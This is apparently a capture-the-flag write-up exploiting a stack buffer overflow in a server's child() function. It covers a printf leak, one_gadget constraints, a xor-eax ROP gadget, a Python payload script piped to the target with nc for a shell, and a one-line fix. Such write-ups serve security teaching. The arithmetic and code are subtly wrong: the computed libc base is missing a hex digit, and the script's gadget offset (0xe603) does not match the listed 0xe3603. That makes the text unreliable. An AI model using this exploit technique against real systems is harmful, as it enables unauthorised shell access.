Analysis of the bug
===================

There is a stack-based buffer overflow in child(): `MAX_CMD` bytes
are read into a `MAX_ARG`-sized array.

Attack plan
===========

The idea is to redirect execution to a one\_gadget. No gadget meets its
preconditions, but at least one of them can be fixed with a small ROP chain.

Attack implementation
=====================

Using, e.g., cyclic, we can find the offset betwen the buffer and the
saved rip: it is 32 bytes.
The server leaks the address of `printf` and its offset in the libc
can be obtained with

    nm -D libc.so.6 | grep '\<printf'

(note the -D to show the dynamic symbols, which are always present;
we have also used the '\<' operator in `grep` to select only symbols
that start with `printf`, since there are many symbols that just have
`printf` somewhere in them.)
The offset is 0x55ef0. Assume that the leaked address is 0x78f11dc55ef0.
Then, the load address of the libc is

    0x78f11dc55ef0 - 0x55ef0 = 0x78f11dc0000

Note that the last three hex digits must be zero, otherwise you are
doing something wrong (most likely you are using the wrong offset for
`printf`).

Now we run one\_gadget on the provided libc.so.6 file and we obtain:

    0x4e899 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
    constraints:
      address rsp+0x60 is writable
      rsp & 0xf == 0
      rax == NULL || {"sh", rax, r12, NULL} is a valid argv
      rbx == NULL || (u16)[rbx] == NULL
    
    0x4e8a0 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
    constraints:
      address rsp+0x60 is writable
      rsp & 0xf == 0
      rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
      rbx == NULL || (u16)[rbx] == NULL
    
    0xe35a9 execve("/bin/sh", rbp-0x50, r13)
    constraints:
      address rbp-0x48 is writable
      r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
      [r13] == NULL || r13 == NULL || r13 is a valid envp
    
    0xe3603 execve("/bin/sh", rbp-0x50, r13)
    constraints:
      address rbp-0x50 is writable
      rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
      [r13] == NULL || r13 == NULL || r13 is a valid envp

Unfortunately, if we run the server in the debugger and stop at the `ret` at
the end of `child()`, we can see that we cannot use any gadget immediately.

In particular, the last gadget is failing the precondition on rax, which
contains a negative number just before the ret, and therefore is neither NULL,
nor it can be interpreted as a pointer to a string. We cannot fix this by
getting to the `return 0` at the end of the function: the only way to get
there is to close the connection. However, we can fix rax by loading it with a ROP
gadget. Using `ropper` we can easily find a `xor eax, eax; ret` gadget at
offset 0x3cd80. (note: in AMD64, when we write to eax we also automatically
zero-out the upper 32 bits of rax).  Don't miss the precondition on rbp-0x50
that must be writable: rbp will overwritten with our payload by the `leave`
before the `ret`, so we need to put the address of some writeable memory there. By
using `vmmap` in the debugger, we can see that page 0x404000 is writable, so
and address in the middle of that page will be OK.

Now we are ready for the exploit:
```python
import sys
import struct

base = 0x78f11dc0000
xor_eax_eax = base + 0x3cd80
one_gadget  = base + 0xe603
writable    = 0x404800

p = b''
p+= b'A'*(32-8)
p+= struct.pack('Q', writable)
p+= struct.pack('Q', xor_eax_eax)
p+= struct.pack('Q', one_gadget)
sys.stdout.buffer.write(b'e' + p + b'\n')
```
If we put the above in an `xpl.py` script, we can obtain a shell with

    { python3 xpl.py; cat; } | nc $HOST $PORT


Suggested Fix
=============

Replace `MAX_CMD` with `MAX_ARG` in the `read()`.